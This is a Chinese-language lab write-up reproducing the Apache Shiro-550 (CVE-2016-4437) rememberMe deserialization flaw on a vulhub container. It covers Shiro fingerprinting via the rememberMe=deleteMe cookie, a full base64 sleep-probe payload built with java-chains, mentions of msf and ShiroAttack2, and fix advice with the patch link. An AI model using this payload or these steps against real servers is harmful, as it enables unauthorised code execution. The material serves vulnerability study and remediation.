CVE 2016 4437
Shiro-550(CVE-2016-4437 反序列化漏洞)¶
漏洞描述¶
shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。
特征:cookie中含有rememberMe字段
影响版本¶
- shiro 1.x < 1.2.5
环境配置¶
使用vulhub项目,docker-compose启动

漏洞复现¶

判断漏洞存在性¶
设置代理,随便输入账号密码,使用burp抓取请求包,在返回包中set_cookie中存在rememberMe=deleteMe特征

如果直接发送数据包,返回包不存在特征:Set-Cookie: rememberMe=deleteMe;
可以在请求包中的cookie中添加:rememberMe=deleteMe;
然后查看返回包中是否存在特征:Set-Cookie: rememberMe=deleteMe;

通过以上特征,我们可以判断网站使用了shiro,但是否存在漏洞还要进一步尝试利用
漏洞利用¶
java-chains¶

我们选择使用sleep验证。时间设置为5秒,生成的base64 payload如下:
AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmHjn+yS1RXTT9F5R0sGFblDzzZz+nZQsajao/gdRfw9LcryTLP6L34t9wsvsXnBU1VSf5hQbAnLNK8U6tmS8mE71BGg5DVxXjdaZ2Sktj6pGhYmrmySrHqvTuDxmZF+EgEjkGKPXMXcNQUxTctHxE2J+dr8QC/MvzHhDmCBji06RO0/7BTjQIK9oPXrMipvsPOBdHjhZXcgaR/6F+kH8u83tNY1wdbxLdL7MC+xVWl4uc3TSqdiNAkjcBvS9FXGr2oagBSNpr6/mOllM1TUvDn1Ovlj+y1pgO3ciDaV54SWoVzi6uaEsZ4QAlJtnm6bvMxeTOqlN7BlAOciXLydpRa6FSSTgpHbckGTRJk77sIrrzwgL9xrC6aBBO122By4s0Pa1gEAym0bMjE0DkLrwT6um0geHHQvGia9M+SolO50ejdNfmWvds1oibHodC13ZjW2Xpv0o8aXWoVge+9ljSpqAtLTUVgkQNH3Q9nwRGPFmGwV9hljJR0fY5qvZ7i+3N76+hTEXNhwKigP5fLVSPO2dUUJ21uvDqU1Qx5aYUctOrKiPpEyzQUTxxw8Vq2IB25+GORXdtKmui1NAWw2zOvhlHu0bsinXrNQQCgt3ieOEesziXuKdehcufHV1cvgnJRm0yvBkaMMZRQ5MMno7AV4KLRs0/w3q0v8fw3/6H0tJk97tPU/RDKQMoYrFiEEUJCwl4rXEcfu30rx1CBsLIwYncB9hoRjQeBs1llPEO5D9KeexDckZTR767iRmRSxoy7bBG7MVo+v0eb0HCsNm9i9PYKUNP/SAF25t6DnP4jpQDxCW8ks8jt6nPmQsAtzKnwy+dXGLrlaFbPlgCMDAI/0pqjjvzcr54W4ujHxgl4luCcP0Iztf+GyW/hJ6LCPRflGrkkvhsh+unPbHHQYuqP3qCswUaW0er/xF33pUfXCsMNWyzn4qJJiwXm2C0ynHTc/46dwwcWrtdRz2+DYgDJAbNRXdi3dOft6CdX2SWCGhFX3yGiyzc9iYcJW6ocWnUz12e5u9pl/a5Vdlno1kMR8zQtlg9tu3yB3uoJo+1eFy2/zuD7xsCdSXsCVB3AHNwUdm4jL90No9Adwlo7StaWFEBY3dlWxZMW/gbydMy46xiXE1N1Ke/UJJsci4xz1buBxVySkZlk5VPovPV1oiS1lTCHqq+6SH6ajq0Cs+NXqYiaX1/6ODWimwwiQeWpNjT3Lzy31UT5OngkPeOslGsNUWg4WiKFpZGsdZe6xijbKLovj6GBzJRyySEdUGM1Zcx87tQL/msH/pFqwgerk37vgnvTZq58CKSjCG+3SM8ycb0/6+lC+iImfOrUOs64C4XhWqzGGIo1xKJlK4awOYxnSPcjuYD0kly/acJ9zVFNY4e9XscJqZX91jpq6cUmubiK1JmXQBpgp8ecDcEwbZAil6VY11B0a11FOZFieT2RWpXkBOR+e4CCNuPqTU0JAyBwY9aCpI4/JU8TQzgQwWfFuDKgwXdpgnaHrWt6Q59rqK9gZ0XJ6WmwWwW4OEyEM0kA==

将cookie中的rememberMe设置为payload重放,可以看到此时服务器已经触发了sleep
msf¶

ShiroAttack2¶
注意以jdk8启动

输入对应信息利用即可
漏洞原理¶
参考文章:Shiro 历史漏洞分析-先知社区
修复建议¶
1.确定自己使用的shiro版本要高于1.2.4;
2.在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

官方漏洞补丁:https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848